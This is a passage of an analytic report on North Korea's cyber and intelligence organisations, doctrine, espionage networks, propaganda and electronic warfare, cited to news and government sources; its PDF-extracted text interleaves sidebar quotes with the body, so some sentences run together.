https://nkleadershipwatch.wordpress.com/dprk-security-apparatus/national-defense-commission/ North Korea s political hierarchy.112 Article 106 of North Korea s Constitution gives the NDC the following powers:113 The power to establish policies of the state in accordance with the military-first revolutionary line. The power to guide the armed forces and oversee defense building. The power to supervise and ensure the NDC and its chairman s orders are executed and to establish necessary measures. The power to override any state decisions or directives that are in opposition to the NDC or its chairman s decisions and directives. The power to create or remove central organs of the national defense sector. The power to create and bestow military titles above general-grade officer rank. The NDC oversees several defense and intelligence bodies including the Ministry of State Security, the Ministry of People s Security, the Ministry of People s Armed Forces, and the Korean People Army. The Ministry of State Security (MSS), also known as the State Security Department, is North Korea s primary counterintelligence service. It is considered an autonomous agent of the regime and reports directly to leader Kim Jong Un. The MSS s duties include oversight of North Korean prison camps, investigation of domestic espionage, repatriation of defectors, and overseas counterespionage operations.114 The Ministry of People s Security is also known as the Ministry of Public Security (MPS). Focused on domestic order, it oversees North Korea s national police force, conducts criminal investigations and preliminary examinations, and oversees correctional facilities, excluding prison camps.115 While the roles of the MSS and MPS focus more on intelligence than on cyber operations, the MSS also reportedly has a communications monitoring and computer hacking group.116 The Ministry of People s Armed Forces (MPAF) administrates the Korean People s Army (KPA) and oversees the General Staff Department (GSD), which is responsible for Unit 121 comprises both an operational command and control of North Korea s armed forces. The General intelligence component and Staff Department also oversees the Reconnaissance General Bureau (RGB), North an attack component. One of Unit 121 s command posts is Korea s agency for clandestine operations. The RGB has a role in both traditional Chilbosan Hotel in Shenyang, and cyber operations. In the past, the RGB has sent agents on overseas military China. Unit 121 maintains assistance missions to train insurgent groups.117 The RGB reportedly has a special technical reconnaissance operations forces (SOF) element118 and oversees six bureaus that specialize in teams responsible for infiltration of computer operations, reconnaissance, technology and cyber matters, overseas intelligence networks, hacking to obtain collection, inter-Korean talks, and service support.119 Two of these bureaus have intelligence, and planting been identified as the No. 91 Office and Unit 121. The No. 91 Office, an office viruses on enemy networks. responsible for hacking, operates out of the Mangkyungdae-district of http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.factba.se/handbook-page.php?id=1129700 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf Pyongyang.120 Unit 121 comprises both an intelligence component and an attack component. Unit s headquarters is in the Moonshin-dong area of Pyongyang, near the Taedong River.121 It also has components that conduct operations from within China. One of Unit 121 s command posts is Chilbosan Hotel122 in Shenyang, the capital of Liaoning Province, which borders North Korea.123 Shenyang is a Chinese military district.124 According to Dr. Alexandre Mansourov, an expert on North Korea and a visiting scholar at the U.S.-Korea Institute at Johns Hopkins University, "They [Unit 121] are believed to have conducted hacking operations from inside China that falsify classified data and disrupt U.S. and South Korean systems."125 Both Unit 121 and an entity known as Lab 110 are reported to maintain technical reconnaissance teams responsible for infiltrating computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.126 127 Figure 11 A map pinpointing the location of the Chilbosan Hotel.128 http://www.infosecisland.com/blogview/21577-Concerns-Mount-over-North-Korean-Cyber-Warfare-Capabilities.html http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://www.defense.gov/pubs/2014_DoD_China_Report.pdf http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. maps.google.com Figure 12 A satellite view of the Chilbosan Hotel.129 Several entities are nested under the Workers Party. The Central Party Committee oversees the Central Party Investigative Group, also known as Unit The Unification Bureau falls 35. Unit 35 is reportedly responsible for technical education and training of 130 under the Workers Party. Its Operations Department is cyber warriors. The Unification Bureau s Operations Department is 131 132 responsible for cyber- responsible for cyber-psychological warfare, organizational espionage, and psychological warfare, oversight of Unit 204. Unit 204 s responsibilities include planning and execution organizational espionage, and of cyber-psychological warfare operations and technological research. The oversight of Unit 204. Unit 204 responsibilities include planning Psychological Operations Department of the North Korea Defense Commission and execution of cyber- also engages in cyber-psychological warfare.133 The 225th Bureau, or Office 225, psychological warfare operations is responsible for training agents, infiltration operations in South Korea, and and technological research. The creation of underground political parties in order to incite disorder and revolution. Psychological Operations It plays a more traditional intelligence and psychological operations role, rather Department of the North Korea Defense Commission also than focusing on cyber operations.134 The United Front Department (UFD) engages in cyber-psychological conducts overt operations to create pro-North Korean groups in South Korea. warfare. Examples of this activity include the Korean Asia-Pacific Committee and the Ethnic Reconciliation Council. The UFD also manages inter-Korean dialogue and North Korea policy toward South Korea. Its operations are also more traditional rather than cyber-focused.135 maps.google.com Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://goodfriendsusa.blogspot.co.uk/2008/07/north-korea-today-no174.html https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf The Liaison Department of the Worker s Party oversees a faction of ethnic North Koreans residing in Japan who are critical to North Korea s cyber and intelligence programs. This group, which was established in 1955, is referred to by various names including the Chosen Soren, Chongryon, and the General Association of Korean Residents in Japan.136 The Chongryon ascribe to juche and seek to preserve North Korean culture while living in Japan. They operate North Korean style schools and refuse to assimilate with Japanese culture.137 According to Mitsuhiro Suganuma, former section head of the second intelligence department of the Japanese Public Security Intelligence Agency (PSIA), Chongryon is virtually under the direct control of the Liaison Department of the Workers Party of Korea, which has been in charge of North Korea s covert operations and underground activities against South Korea. Chongryon in Japan has been a strong support organization aimed at bringing a revolution in South Korea, or a red unification by force. He also stated North Korea will continue to make Chongryon serve as Pyongyang s pawn in covert operations against South Korea. 138 The Chongryon are vital to North Korea s military budget, raising funds via weapons trafficking, drug trafficking, and other black market activities.139 The group also forms front companies abroad that benefit the regime by generating Chongryon is virtually hard currency. One example is Unikotech, which was formed to sell KCC products under the direct control of abroad. 140 The Chongryon s underground group known as the Gakushu-gumi, or the Liaison Department of the study group , gathers intelligence for North Korea and helps the regime the Workers Party of Korea, which has been in charge of procure advanced technologies.141 The Chongryon s role in North Korean North Korea s covert intelligence and resource acquisition is discussed below in more detail. operations and underground activities The regime also has several government bodies under the Cabinet142 that oversee against South Korea. its infrastructure, intelligence, and technological development. These include the Central Scientific and Technological Information Agency (CSTIA), the Ministry of Electronics Industry, and the Ministry of Posts and Telecommunications. The CSTIA collects, analyzes, and processes data regarding advanced science and technology then sends relevant information to appropriate areas of the national economy.143 The amount of information contained in CSTIA's technical database makes it North Korea's largest scientific facility. According to a CIA article, review of CSTIA s publications showed that China, Russia, and Japan are important sources of technical data. CSTIA s publications include newsletters and an 18-volume science and technology reference series.144 The Ministry of Posts and Telecommunications is the body of oversight for Star Joint Venture Co.145 http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.learningace.com/doc/2025666/863b663a9fb13b456304dd0a3bc43547/cyberwarfare http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf https://www.northkoreatech.org/tag/ministry-of-posts-and-telecommunications/ North Korean cyber and intelligence organizational chart Figure 13 North Korean cyber and intelligence organizational chart North Korea s cyber doctrine, strategies and goals North Korea s cyber warfare doctrine has not been clearly stated. However, based on cultural and technical observations, we may deduce that North Korea s cyber doctrine follows the tenets of juche nationalism and the songun doctrine. Although North Korea s limited online presence makes a thorough analysis of their cyber warfare capabilities a difficult task, it must be noted that what is known of those capabilities closely mirrors their kinetic warfare tactics. Cyber warfare is simply the modern chapter in North Korea long history of asymmetrical warfare. North Korea has used various unconventional tactics in the past, such as guerilla warfare, strategic use of terrain, and psychological operations.146 The regime also aspires to create viable nuclear weapons.147 Asymmetrical warfare is defined as conflict in which the resources of two belligerents differ in essence and in the struggle, interact and attempt to exploit each other's characteristic weaknesses. Such struggles often involve strategies and tactics of unconventional warfare, the weaker combatants attempting to use strategy to offset deficiencies in quantity or quality . 148 According to the aforementioned report to the House Armed Service Committee, Cyber warfare is an important asymmetric dimension of conflict that North Korea will probably continue to emphasize in part because of its deniability and low relative costs. 149 North Korea s poor economic state150, further explains the regime s reliance on these tactics. In 2014, the regime reportedly spent 16% of its budget on defense.151 The North Korean military places a strong emphasis on information warfare capabilities including political and psychological warfare152 and cyber or hacker warfare.153 The report by Capt. Duk-Ki Kim, Ph.D. highlighted North Korea s counter-asymmetric strategy and ranked each based on intensity and frequency: Figure 14 Threat matrix of North Korean asymmetric war capabilities.154 Cyber warfare operations Just ten years ago, experts noted that North Korea was one of the least network-ready and most isolated societies on the planet. 155 Today North Korea s air-gapped networks and prioritization of resources for military use provide both a secure and structured base of operations for cyber operations and a secure means of communications.156 North Korea s hermit infrastructure creates http://www.history.army.mil/brochures/kw-balance/balance.htm http://www.bbc.com/news/world-asia-pacific-11813699 http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Asymmetric_warfare.html http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf http://www.foreignpolicy.com/articles/2013/04/29/7_things_north_korea_is_really_good_at http://blogs.wsj.com/korearealtime/2014/04/10/north-korea-details-budget-plans/ https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.giac.org/paper/gsec/1870/information-warfare/103284 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf a cyber-terrain that deters reconnaissance. Because North Korea has few Internet connections to the outside world, anyone seeking intelligence on North Korea s networks has to expend more resources for cyber reconnaissance.157 A 2003 article by the U.S. Office of the National Counterintelligence Executive assessed that Development of the nation, rather than empowerment of the individual, appears to be driving DPRK efforts to develop domestic IT infrastructure and industry. 158 In November 2013, Kim Jong Un referred to cyber warfare capabilities as a magic weapon in conjunction with nuclear weapons and missiles.159 According to Kim Heung-kwang, a North Korean defector and former computer science professor, the regime has the following motivations for expanding its cyber warfare capabilities:160 Cyber capabilities are a cost-effective way to offset North Korea s lack of kinetic military prowess. North Korea s school systems place a strong emphasis on math, giving the nation confidence in its programmers, cryptographers, and security researchers. In the modern warfare landscape, cyber capabilities are potentially more utilitarian than heavy artillery or aircraft. Cyber warfare capabilities provide a platform for espionage, psychological operations, and other forms of non-kinetic warfare. Considering the separatist nature of North Korea s infrastructure, cyber warfare provides a strategic advantage since outbound attacks are possible, but inbound attacks would have limited reach. Cyber warfare allows North Korea to leverage the Internet s inherent flaws for offensive purposes while maintaining its defenses, primarily via air-gapping its most critical networks from the outside world. North Korea s attack and defense capabilities reportedly include the following cyber warfare and electronic warfare components: offensive cyber operations (OCO); computer network operations (CNO), which includes both computer network attack (CNA) and computer network exploitation (CNE); distributed denial of service (DDoS);161 satellite monitoring; drones; GPS jamming capabilities162; and deployment of electromagnetic pulse (EMP).163 North Korea s OCO and CNO capabilities became apparent as early as 2004, when North Korea reportedly gained access to 33 of 80 South Korean military wireless communication networks. In June 2006, an attack on the U.S. State Department originating in the East Asia-Pacific region coincided with U.S.-North Korea negotiations over the regime s nuclear missile testing.164 A month later, a South Korean military report implicated North Korea s Unit 121 in hacking the South Korean and U.S. Defense Departments. North Korea also tested a logic bomb in October 2007. A logic bomb is malicious http://www.huffingtonpost.com/2011/07/25/digital-revolution-north-korea_n_908368.html http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf http://english.chosun.com/site/data/html_dir/2013/11/05/2013110501790.html http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.theregister.co.uk/2014/04/22/norks_drones_made_in_china/ http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? code programmed to execute based on a pre-defined triggering event. Following the logic bomb test, the UN passed a resolution banning sales of certain computer hardware to North Korea.165 North Korea considers its cyber warfare capabilities an important asymmetric asset in the face of its perceived enemies, the U.S. and South Korea. While North Korea does not have an immersive digital culture, both the U.S. and South Korea are heavily dependent upon technological infrastructure for social, economic, and political stability.166 For this reason, a cyber attack that cripples or compromises the reliability of the U.S. or South Korea s technological infrastructure could have a far-reaching impact. Gaming for profit and pwnage North Korea has reportedly used computer games for both illegal capital gain and North Korea has used orchestrating cyber attacks. In 2011, South Korean police arrested five individuals, computer games for both including one Chinese national, for allegedly collaborating with North Korean hackers illegal capital gain and affiliated with the Korea Computer Center to steal money via online games.167 orchestrating cyber attacks. According to South Korean reports, the culprits used an auto-player to quickly progress in the massively multiplayer online role-playing game (MMORPG) Lineage and were able to use the game s market to obtain real currency.168 In 2013, South Korean officials released information stating they had found evidence that North Korea was using games as a medium for infecting machines and launching cyber attacks. North Korea had used game downloads to infect 100,000 South Korean machines for a botnet used to launch a distributed denial of service (DDoS) attack against Incheon Airport.169 This clever tactic sought to leverage a seemingly innocent game as a force multiplier in order to amplify the effects of a DDoS attack on a critical infrastructure target. However, in this case, there was little impact on the target. Intelligence and counterintelligence North Korea s intelligence program is one of its strongest military assets, providing foundational support for all other military operations. The regime s cyber warfare capabilities, in particular, rely heavily on open-source intelligence (OSINT) collection and cyber-espionage. 170 As noted in a CIA publication, "It is a significant irony of our information age that open-source intelligence is contributing to the survival and development of one of the world's most secretive regimes."171 Historically, the primary goals of the regime s intelligence program included collection and dissemination of intelligence concerning any possible political, military, or economic threat to the regime s security and stability. Secondary goals have included "acquisition of foreign military and civilian technologies and equipment, support of the DPRK s foreign policy goals, training and http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf http://www.theguardian.com/technology/2011/aug/04/south-north-korean-hackers-china http://english.chosun.com/site/data/html_dir/2011/05/06/2011050600827.html http://www.zdnet.com/blog/security/north-korea-ships-malware-infected-games-to-south-korean-users-uses-them-to-launch-ddos- attacks/12383 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html support for foreign revolutionary and terrorist organizations, and the acquisition of foreign capital for state and intelligence operations."172 North Korea has a broad reach for intelligence collection, which extends to cyber intelligence.173 In April 2013, Solutionary, a company providing managed security services, reported a marked increase in both overt attacks and information gathering attempts originating from North Korean IPs. Solutionary refers to any overt external attacks on company A faction of ethnic North Koreans residing in Japan, networks or attempts to steal data as "touches. They reportedly recorded 12,473 of known as the Chongryon, these touches in February 2013, 11,000 of which were directed at a single financial are critical to North Korea institution. As a baseline, Solutionary noted that typically only 200 incidents per cyber and intelligence month are traced to North Korean origin. This is an interesting claim, considering 174 programs. that attacks attributed to North Korea are usually routed through other countries. As mentioned above, a faction of ethnic North Koreans residing in Japan, known as the Chongryon, are critical to North Korea s cyber and intelligence programs and help generate hard currency for the regime. The Chongryon headquarters has been recognized as the de facto North Korean embassy in Japan. In 2012, the organization s headquarters was seized to pay for the group past due debts.175 Figure 15 Headquarters of the Chongryon.176 http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf http://www.usatoday.com/story/tech/2013/04/26/cyberspying-from-north-korean-ip-addresses-spike/2115349/ http://sundaytimes.lk/?option=com_content&view=article&id=21034:japan-court-approves-seizure-of-nkorea-embassy- media&catid=81:news&Itemid=625 http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ It was then purchased by a monk named Ekan Ikeguchi, who let the Chongryon continue to use the building in what he referred to as a goodwill gesture . Ikeguchi is one of the Chongryon many ties to organized crime. Ikeguchi was arrested in the past for an attempted coup against the Japanese government. He also has ties to the political group Nihon Seinensya, which is involved in illegal activities in conjunction with the yakuza syndicate Sumiyoshi-kai, which imports and sells amphetamines made in North Korea.177 North Korea also has black market ties to Sumiyoshi-kai rival syndicate, Yamaguchi-gumi. Many members of the Kodo-kai, Yamaguchi-gumi s ruling faction, are Korean-Japanese, with ties to North Korea.178 Masahiro Namikawa, leader of the drug trafficking Seido-kai yakuza organization, also has ties to the Chongryon.179 The Chongryon operate at least two websites, chongryon.com, which is in Japanese, and korea- np.co.jp. WHOIS records for chongryon.com indicate that it was registered by guanin o using the email address park2@mac.com. The WHOIS information for korea-np.co.jp. shows that it was registered by Choson Shinbo Company Inc. The WHOIS records for these sites can be found in Appendix A. Additionally, the Chongryon operate a ferry called the Mangyongbong-92, the only direct transit from Japan to North Korea. In 2003, they were suspected of using the ferry to smuggle missile parts.180 In 2006, the ferry was temporarily banned from Japanese waters when Japanese officials discovered the Chongryon were using it to smuggle dual-use electronics to North Korea to be used for military purposes.181 North Korea has a global network of state-run businesses located in 30 to 40 North Korea has a global countries that is used for espionage activities. The Reconnaissance General Bureau network of state-run is responsible for oversight of this network.182 The businesses include cafes and businesses located in 30 to other non-suspect establishments. The highest concentration of these is in China. 40 countries that is used for espionage activities. These Members of this espionage network reportedly send more than $100 million in establishments are also cash per year to the regime and provide cover for spies. 183 These establishments used for money laundering are also used for money laundering and drug trafficking.184 and drug trafficking. The regime is also known to kidnap foreign citizens and use them as instruments for intelligence. Prisoners are first tortured and psychologically conditioned to bend to the regime s will. They are then used based on their skillset. This may include teaching their language to North Koreans, spreading propaganda in their native language, providing translation services, http://japandailypress.com/religious-group-that-bought-north-korean-embassy-building-has-mob-ties-0826568/ http://culturmag.de/crimemag/jake-adelstein-the-yakuza-2/20212 http://www.thedailybeast.com/articles/2013/06/25/the-great-japanese-gang-wars.html http://news.bbc.co.uk/2/hi/asia-pacific/2958968.stm http://www.washingtontimes.com/news/2006/oct/16/20061016-122859-4745r/ http://www.ibtimes.com/north-koreas-international-network-restaurants-used-gain-hard-currency-espionage-1427242 http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American- Hiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer http://freebeacon.com/national-security/north-koreas-overseas-restaurants-used-for-espionage-and-gaining-hard-currency/ conducting military training, or other skills the regime deems useful.185 In July 2014, Japanese officials agreed to lift some sanctions on North Korea when the regime agreed to investigate the whereabouts of Japanese citizens who were allegedly abducted by North Korean agents decades ago. Sanctions to be lifted include the ban on port calls to Japan by North Korean ships.186 North Korea has also infiltrated important positions in South Korea for both intelligence and psychological operations purposes.187 In 2011, South Korea s National Intelligence Service reportedly discovered the presence of Communist spies. These spies within their trusted circles had been reporting back to North Korea for almost 10 years. The embedded spies included a Democratic Party representative. According to the agency, the spies were on a mission to infiltrate and influence the Democratic Party and to gather military intelligence.188 The regime also attempts to infiltrate organizations made up of North Koreans who seek shelter in South Korea, in order to gain intelligence. In the past several years, South Korea has arrested at least 14 defectors who were found to be spies.189 These intelligence collection and counterintelligence capabilities are an attempt to provide the regime with a strategic asymmetrical advantage. The regime leverages its human and cyber resources around the globe to provide an influx of intelligence, while very little credible intelligence about the regime s activities and capabilities ever becomes available to the outside world. Psychological operations North Korea continues to be a master of propaganda and deception and leverages the cyber realm for psychological operations. Modern North Korean psychological operations tactics include distribution of propaganda via traditional media outlets, websites, and social media. Many of these psychological operations campaigns are politically focused.190 According to Dr. Andrei Lankov, the North Korean government has very rational and highly successful manipulators who usually get what they want by outsmarting everybody else in the process. The regime s Unit 204 is responsible for cyber-psychological operations. These operations are PSYOP tailored for the cyber arena. In order to be successful, cyber- Such messages can be used for recruitment, psychological campaigns require speed, precision, and creativity. These campaigns cyber mobilization, and to leverage the phenomenon of viral, unverified news stories that tend to rapidly instill fear in a target propagate via social media, mobile text messaging, and other electronic population. communications. This phenomenon creates an arena for strategic propagation of both fact and fiction for the purposes of sentiment manipulation. Such messages may be used for http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American- Hiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer http://m.us.wsj.com/articles/tokyo-to-lift-some-sanctions-on-pyongyang-1404354699?mobile=y http://www.nytimes.com/2013/10/02/world/asia/northern-spy-lifts-cloak-on-koreas-deadly-rivalry.html?pagewanted=2 http://www.kccoc.org/home/?mid=eng_kccoc_info_korea&document_srl=3223&sort_index=readed_count&order_type=desc http://www.washingtonpost.com/world/prominent-n-korean-defector-acquitted-of-espionage-by-s-korean-court/2013/08/22/642b3712-0b19- 11e3-89fe-abb4a5067014_story.html https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ recruitment, cyber mobilization, and to instill fear in a target population. Cyber-psychological operations may also include mental suggestion using technology as a delivery mechanism for subliminal cues. It is unknown whether North Korea possesses this capability.192 North Korean citizens have access to state-approved social networks on the Kwangmyong.193 Figure 16 A photo posted by Jean Lee on Instagram shows one of the social networking sites on the Kwangmyong.194 The regime has a limited overt social media presence on the Internet. Some of the known social media platforms employed by the regime include Twitter, Facebook, and YouTube. The YouTube channel North Korea Today, operated by user rodrigorojo1, features news clips from North Korea. It is unclear whether this channel is officially sanctioned.195 The North Korea Today YouTube channel also has corresponding profiles on Twitter196 and Facebook.197 http://fmso.leavenworth.army.mil/documents/new-psyop.pdf http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://instagram.com/p/WpcJs1OCkb/ https://www.youtube.com/user/rodrigorojo1 https://twitter.com/NorthKoreaT0day https://www.facebook.com/pages/Korean-Central-Television/380193555435568?fref=ts Figure 17 A screenshot of the North Korea Today YouTube Channel.198 The Uriminzokkiri website, known for pushing juche ideology and anti-American and anti-South Korean messages, has accompanying social media profiles on YouTube,199 Google+,200 and Facebook.201 It also has Twitter profiles in both Korean202 and English.203 https://www.youtube.com/user/rodrigorojo1 https://www.youtube.com/user/uriminzokkiri https://plus.google.com/u/0/112306344682887627095 https://www.facebook.com/pages/Uriminzokkiri/124452740935216 https://twitter.com/uriminzok https://twitter.com/uriminzok_engl Figure 18 A screenshot of the Uriminzokkiri YouTube channel.204 Figure 19 A screenshot from the Uriminzokkiri Facebook page shows anti-U.S. and pro-juche rhetoric.205 https://www.youtube.com/user/uriminzokkiri/featured https://www.facebook.com/pages/Uriminzokkiri/124452740935216 Figure 20 A screenshot of the Uriminzokkiri Korean language Twitter profile.206 Figure 21 A screenshot of the Uriminzokkiri English language Twitter profile.207 North Korean propaganda208 is used for several purposes: to enforce the ideals of allies In the spirit of juche, and sympathizers, to frame North Korea in a favorable light to outsiders, to the regime uses sensationalize the regime s perceived self-reliance and military prowess, and to shield its disinformation to hide lapses or tout own citizens from the outside world.209 Juche ideology and indoctrination of the regime accomplishments that youth ensure support of the local population. North Koreans accept military duty as an may have never been honor and strive to excel in their service to the regime. In the spirit of juche, the regime achieved. uses disinformation to hide lapses or tout accomplishments that may have never been https://www.facebook.com/pages/Uriminzokkiri/124452740935216 https://twitter.com/uriminzok_engl http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf http://fas.org/irp/eprint/cno-dprk.pdf achieved. 210 Limiting citizen access to the outside world by instituting the Kwangmyong intranet, North Korea ensures its citizens are not exposed to outside information that is counterproductive to citizen indoctrination or in conflict with juche ideals. North Korea portrays the West, particularly the United States, as an enemy. The regime uses this strategy of shifting the population negative sentiments toward an external entity to keep its citizens ignorant of North Korea s own economic hardship, regime brutality, and systemic incompetence.211 For example, prior to Kim Jong Il s death in 2011, North Korean media altered photos of their Dear Leader to make him appear younger and healthier than he really was. This became obvious when the altered photos were compared to those taken by Western media around the same time. 212 According to Dr. Andrei Lankov, North Koreans now have a much better understanding of what is going on in the outside than they did before. This is largely thanks to the spread of DVDs and video content in the country, but also because some of them have been to China and talk about what they have seen many [of] them sincerely believe that the United States remains ready to attack at any moment and that Japan is an incurably aggressive place nearly all of them swallow the official propaganda myths about the Korean War being started by the 'American Imperialists' who invaded them. Hence, they see the outside world as an inherently dangerous place. 213 Some human rights groups seek to reach out to North Korean citizens and break them from this isolation. In August 2014, the New York-based charity Human Rights Foundation sponsored a hackathon in San Francisco called Hack North Korea to find new ways to get information in, out, and around North Korea. The event brought together many programmers, human rights campaigners, and defectors.214 North Korea even uses trolling as a PSYOP tactic. On the Internet, trolls are users who post messages that are often crass, controversial, inflammatory, or offensive, in order to evoke a strong reaction or influence a reader s opinion. Often, the motivation for trolling is simply for the troll s enjoyment. The rude and offensive trolling tactics are in stark contrast to traditional forms of persuasive rhetoric. However, North Korea reportedly utilizes over 200 military intelligence operatives to troll South Korean message boards and social media pages with pro-North Korean sentiments.215 Matt Rhoades, director of the cyberspace and security program at the Truman National Security Project, said, "North Korea's cyber-development is almost just a new harassment mechanism for them, a low-cost, asymmetric method to harass its neighbor in the south "216 Leveraging the cyber and intelligence resources noted above, North Korea s psychological operations serve an important strategic role. The ability to influence outsiders, while effectively isolating its own population from most outside influence, allows North Korea to remain an enigma. Additionally, in line with its PSYOP tactics, North Korea may strategically take credit for cyber attacks that were, in reality, launched by another entity. Whether the targeted entity blames http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf https://www.strategypage.com/htmw/htmurph/articles/20131106.aspx http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ http://www.northkoreatech.org/2014/08/05/hack-north-korea-focuses-silicon-valley-on-information-flow/ http://www.strategypage.com/htmw/htiw/articles/20131213.aspx http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 North Korea for the attacks, or the regime simply takes credit for an attack that has not yet been attributed, several PSYOP goals can come into play. First, to claim credit for an attack amplifies the impact of a show of force, particularly if South Korea is the target. This tactic can be used to stir sentiments in order to provoke a reaction. Second, North Korea may lay claim to responsibility for an attack that exceeds its capabilities in order to seem more technologically advanced and more capable. Third, any success, or the appearance thereof, enforces the juche ideal of regime self-sufficiency. Finally, North Korea may act as a scapegoat and claim credit for a cyber attack of an ally such as China so the attack is not attributed to the real actors.217 Electronic warfare North Korea reportedly has the electronic warfare capabilities to jam GPS and to inject false GPS coordinates.218 North Korea demonstrated these capabilities in March 2011 by jamming South Korea s GPS signals during a joint U.S.-South Korea military exercise.219 North Korea has the capability to create an EMP.220 An EMP is a sudden, extreme outburst of atmospheric electricity creating an intense magnetic field that can burn out electrical equipment. 221 A report from the U.S. Department of Homeland Security (DHS) noted North Korea s ability to deliver a nuclear warhead as a satellite over the South Pole, effectively creating the burst needed to deliver an EMP targeting the United States. An EMP could effectively disrupt electronic communications including critical infrastructure components such as telecommunications, financial institutions, the energy sector, transportation, food and water delivery, emergency services, and space systems. 222 North Korea reportedly acquired its EMP technology from Russia.223 North Korea also has a drone program. The regime reportedly acquired its first drones in the late 1980 s or early 1990 s. The regime s drones are complimentary to its intelligence program and are primarily used for surveillance.224 In early 2014 a North Korean drone crashed south of the 38th parallel, the line dividing North Korea from the south.225 While early reports noted that the drones appeared similar to those manufactured by Chinese company Tauyuan Navigation Friend Aviation Technology, the company denied involvement.226 http://fas.org/irp/doddir/army/fm3-05-301.pdf https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://defensetech.org/2007/12/24/inside-dprks-unit-121/ http://usatoday30.usatoday.com/tech/science/2010-10-26-emp_N.htm 